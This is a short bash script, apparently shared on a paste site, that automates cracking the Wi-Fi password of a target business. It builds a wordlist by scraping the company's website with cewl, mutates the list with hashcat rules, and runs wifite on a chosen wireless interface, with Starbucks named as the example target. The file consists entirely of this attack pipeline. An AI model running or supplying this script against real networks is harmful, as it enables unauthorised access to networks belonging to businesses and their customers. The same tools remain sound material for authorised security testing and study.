Auto_Wifite.sh 1.2 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647
  1. #!/bin/bash
  2. red='\033[0;31m'
  3. green='\033[0;32m'
  4. yellow='\033[0;33m'
  5. blue='\033[0;34m'
  6. magenta='\033[0;35m'
  7. cyan='\033[0;36m'
  8. # Clear the color after that
  9. clear='\033[0m'
  10. cat << "EOF"
  11. _ __ ___ __ _ _
  12. /\ | | \ \ / (_)/ _(_) |
  13. / \ _ _| |_ ___ _____\ \ /\ / / _| |_ _| |_ ___
  14. / /\ \| | | | __/ _ \______\ \/ \/ / | | _| | __/ _ \
  15. / ____ \ |_| | || (_) | \ /\ / | | | | | || __/
  16. /_/ \_\__,_|\__\___/ \/ \/ |_|_| |_|\__\___|
  17. Wifite...but better..kind of...
  18. EOF
  19. echo ""
  20. echo -e ${green}"Which NIC do you want to use?"${clear}
  21. echo ""
  22. read WLAN
  23. echo ""
  24. sleep 1
  25. echo -e ${yellow}"Using $WLAN as your NIC"${clear}
  26. echo""
  27. echo -e ${green}"Enter Wifi network corporate URL. Example https://www.starbucks.com"${clear}
  28. echo ""
  29. read URL
  30. echo ""
  31. echo -e ${green}"What is the minimum letter count for each word? Example: 4"${clear}
  32. echo ""
  33. read NUM
  34. echo ""
  35. echo -e ${yellow}"Creating Customized Wordlist"${clear}
  36. echo ""
  37. cewl $URL -m $NUM -w target.txt
  38. sleep 1
  39. echo ""
  40. echo "Adding Rule Set"
  41. echo ""
  42. hashcat --force target.txt -r Hob0Rules/hob064.rule --stdout > hashcatted.txt
  43. wifite -i $WLAN --dict hashcatted.txt